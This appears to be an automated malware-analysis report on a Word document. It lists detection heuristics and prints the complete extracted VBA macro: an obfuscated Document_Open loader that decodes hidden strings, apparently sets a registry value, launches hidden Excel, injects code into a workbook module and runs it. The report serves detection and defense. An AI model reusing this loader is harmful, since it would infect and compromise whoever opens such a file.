MALICIOUS
270
Risk Score
Heuristics 9
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set cobw = GetObject(tkbl) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set xl = CreateObject(cada("088139118" & agny & "2706508413113112712" & kpwj & "11613512" & eeoa & "129")) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set cobw = GetObject(tkbl) -
CallByName call high OLE_VBA_CALLBYNAMECallByName callMatched line in script
Set zyom = CallByName(tkbl, cada("084" & ucdo & "34124" & ucdo & "351" & rvzd & "9135"), zrec) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9284 bytes |
SHA-256: a1c97c9ccf93a390ed90df24de27f710f9f5ffc4965fa4cb022017d8ef6a8f33 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
lkod
hzla
auhr
End Sub
Function auhr()
Set tkbl = Application
Set zyom = CallByName(tkbl, cada("084" & ucdo & "34124" & ucdo & "351" & rvzd & "9135"), zrec)
CallByName zyom, cada("087130084127" & agny & "33135"), VbMethod, cada("0871301" & gjsg & "6128" & agny & "291350" & owky & "8133133130133"), cada("1031231200511191301" & gjsg & "6128" & agny & "291350" & woor & "7" & agny & "33" & ucdo & "2" & eeoa & "" & irnx & "511" & fkrq & "40511291301350511" & gjsg & "01281311161351241171271200" & woor & "81" & fkrq & "512305" & kech & "1231" & fkrq & "40" & woor & "81301331190" & woor & "012112112" & kpwj & "1200" & woor & "7" & agny & "33" & ucdo & "2" & eeoa & "129"), 0, 1, 0, 0, 0
End Function
Function lkod()
Dim tkbl, zyom As String
Set tofj = Application
eojx = CallByName(tofj, cada("105" & agny & "33" & ucdo & "2" & eeoa & "129"), zrec)
tkbl = cada("10213012" & kech & "138116133" & agny & "110961241" & gjsg & "3130" & ucdo & "3012" & kech & "11109812112112" & kpwj & "" & agny & "11") & eojx & cada("111088139118" & agny & "27111102" & agny & "" & gjsg & "61331" & fkrq & "5140")
zyom = cada("08" & kpwj & "118" & agny & "34" & ucdo & "05085098096")
Set uzxe = cobw(cada("1381241" & rbdv & "8122128135134077142124128131" & agny & "33" & ucdo & "3012911613512" & eeoa & "" & irnx & "95" & agny & "37" & agny & "27080124128131" & agny & "33" & ucdo & "30129116135" & agny & "44052111111065111133130130135111119" & agny & "21116136127135077102135119101" & agny & "22099133130137"))
CallByName uzxe, cada("102" & agny & "350871060981010871051" & rvzd & "7136120"), VbMethod, &H80000001, tkbl, zyom, 1
End Function
Function cobw(tkbl As String) As Object
Set cobw = GetObject(tkbl)
End Function
Function cada(zyom As String) As String
Dim tkbl As String
tkbl = ""
Do
tkbl = tkbl + lzpb(ahfd(zyom))
zyom = bppe(zyom)
Loop While Len(zyom) > 0
cada = tkbl
End Function
Function lzpb(zyom)
lzpb = Chr(zyom - 19)
End Function
Function ahfd(zyom)
ahfd = Left(zyom, 3)
End Function
Function bppe(zyom)
bppe = Right(zyom, Len(zyom) - 3)
End Function
Function hzla()
Do While True
On Error GoTo Handler
Dim xl, xw As Object
Set xl = CreateObject(cada("088139118" & agny & "2706508413113112712" & kpwj & "11613512" & eeoa & "129"))
CallByName xl, cada("105124" & ucdo & "24117127120"), ozgy, False
CallByName xl, cada("087124" & ucdo & "31127116140084127" & agny & "33135134"), ozgy, False
Set xv = CallByName(xl, cada("1061301" & umqm & "6117130130126134"), zrec)
Set xw = CallByName(xv, cada("084119119"), zrec)
Set xx = CallByName(xl, cada("0841" & gjsg & "51" & fkrq & "7" & agny & "061301" & umqm & "6117130130126"), zrec)
nn = CallByName(xx, cada("0971" & rvzd & "8120"), zrec)
Set xq = CallByName(xw, cada("105085099133130125" & agny & "" & gjsg & "5"), zrec)
Set xr = CallByName(xq, cada("105085086130128131130129" & agny & "29135134"), zrec)
Set xt = CallByName(xr(1), cada("086130119120096130119136127120"), zrec)
CallByName xt, cada("0841191190891331301281021351" & umqm & "41" & rbdv & "2"), VbMethod, cada("0891361291" & gjsg & "512" & eeoa & "" & irnx & "511200590600" & pdwi & "" & kjry & "0510510" & owky & "7124" & xucn & "" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "320" & owky & "4134051098117125" & agny & "" & gjsg & "50" & pdwi & "" & kjry & "0510510" & kbxb & "2" & agny & "350" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "320" & owky & "00" & owky & "613" _
& "3" & agny & "16135120098117125" & agny & "" & gjsg & "50590530961241" & gjsg & "3130" & ucdo & "3012" & kech & "0651070960950911031030990530600" & pdwi & "" & kjry & "0510510" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "32065098131" & agny & "" & cyao & "10530900881030530630510531231351351310770" _
& "660661301231200651241200661181271240661241" & gjsg & "0" & irnx & "651311" & rbdv & "20530630" & owky & "91" & rvzd & "7" & ucdo & "200" & pdwi & "" & kjry & "0510510" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "32065134" & agny & "291190" & pdwi & "90" & pdwi & "" & kjry & "0510510511281401041010950" & owky & "00" & kbxb & "6" _
& "124" & irnx & "9" & kech & "135131101" & agny & "32065133" & agny & "" & oxdg & "1130129" & ucdo & "200851301191400" & pdwi & "" & kjry & "0510510510921210" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "320651021351161351361340" & owky & "00510690670670" & kbxb & "3123" & agny & "290" & pdwi & "" & kjry & "05105105105105" _
& "10510" & kbxb & "2" & agny & "350" & woor & "0102135133" & agny & "16" & xucn & "" & owky & "00" & owky & "6133" & agny & "16135120098117125" & agny & "" & gjsg & "5059053084087098087085065102135133" & agny & "16" & xucn & "530600" & pdwi & "" & kjry & "0510510510510510510" & woor & "0102135133" & agny & "16" & xucn & "65098131" & agny & "290" _
& "" & pdwi & "" & kjry & "0510510510510510510" & woor & "0102135133" & agny & "16" & xucn & "651031401311200" & owky & "00510680" & pdwi & "" & kjry & "0510510510510510510" & woor & "0102135133" & agny & "16" & xucn & "651061331" & fkrq & "51200" & kbxb & "6124" & irnx & "9" & kech & "135131101" & agny & "32065133" & agny & "" & oxdg & "1130129" _
& "" & ucdo & "200851301191400" & pdwi & "" & kjry & "0510510510510510510" & woor & "0102135133" & agny & "16" & xucn & "65102116137" & agny & "03130089124127120051053086077111136134" & agny & "33" & ucdo & "1113113611712712" & kpwj & "1111381241" & rbdv & "21191241" & rbdv & "206513513512105306305" _
& "10690" & pdwi & "" & kjry & "0510510510510510510" & woor & "0102135133" & agny & "16" & xucn & "65086127130" & ucdo & "200" & pdwi & "" & kjry & "0510510" & owky & "812911" & kjry & "0921210" & pdwi & "90" & pdwi & "90" & pdwi & "" & kjry & "0510510" & kbxb & "2123" & agny & "27127051053118128119065" & agny & "391200510661050770980970" _
& "66086053053134" & agny & "35051071089075080131130138" & agny & "33" & ucdo & "23" & agny & "27127051064" & agny & "39" & agny & "18051117140131116" & ucdo & "3405106" & kpwj & "051126124" & agny & "39059110102140134074" & agny & "28065103" & agny & "390740650881291" & gjsg & "01191241" & rbdv & "2112077" _
& "0770841020691300920920651411200741020741" & umqm & "41" & rbdv & "2059110102140134074" & agny & "28065069130130129137" & agny & "33074112077077089133130" & xucn & "85116" & ucdo & "200730711020741" & umqm & "41" & rbdv & "20590591221200740641" & gjsg & "0" & irnx & "74" & agny & "2907405" _
& "1058069130077111136134" & agny & "33" & ucdo & "1113113611712712" & kpwj & "1111381241" & rbdv & "21191241" & rbdv & "2065074074121058125125125125126057057134" & agny & "350" & kbxb & "2109080052071089075077069130080086052057057134" & agny & "35051" & agny & "280800521021" _
& "09077074080135052057057134" & agny & "350" & kbxb & "3088134080052" & agny & "28077125080060052057057134" & agny & "35051072097068109080052103088134077141080090052057057134" & agny & "350" & woor & "7101" & xucn & "80052072097068109077126080053053053053052" _
& "057057134" & agny & "350510710900800530530530530570571181" & rvzd & "7127051056137101" & xucn & "770530530530530800520710900771450640670630680520560530530530630510670" & pdwi & "90" & pdwi & "90881291190" & owky & "91361291" & gjsg & "512" & eeoa & "" & irnx & "" & pdwi & "9")
CallByName xl, cada("101136129"), VbMethod, nn & cada("052103123124" & ucdo & "061301" & umqm & "6117130130126065120")
GoTo nnt
Handler:
Loop
nnt:
End Function
Function dmcx(tkbl)
dmcx = CStr(tkbl)
End Function
Function zrec()
zrec = VbGet
End Function
Function ozgy()
ozgy = VbLet
End Function
Function gjsg()
gjsg = dmcx(1813)
End Function
Function agny()
agny = dmcx(1201)
End Function
Function kbxb()
kbxb = dmcx(5110)
End Function
Function irnx()
irnx = dmcx(1290)
End Function
Function ucdo()
ucdo = dmcx(1341)
End Function
Function kech()
kech = dmcx(1135)
End Function
Function eeoa()
eeoa = dmcx(4130)
End Function
Function pdwi()
pdwi = dmcx(3202)
End Function
Function fkrq()
fkrq = dmcx(2413)
End Function
Function rbdv()
rbdv = dmcx(2912)
End Function
Function cyao()
cyao = dmcx(2905)
End Function
Function owky()
owky = dmcx(5108)
End Function
Function lbhx()
lbhx = dmcx(2012)
End Function
Function xucn()
xucn = dmcx(1280)
End Function
Function kpwj()
kpwj = dmcx(4118)
End Function
Function woor()
woor = dmcx(5113)
End Function
Function kjry()
kjry = dmcx(9051)
End Function
Function umqm()
umqm = dmcx(3312)
End Function
Function rvzd()
rvzd = dmcx(1612)
End Function
Function oxdg()
oxdg = dmcx(3413)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.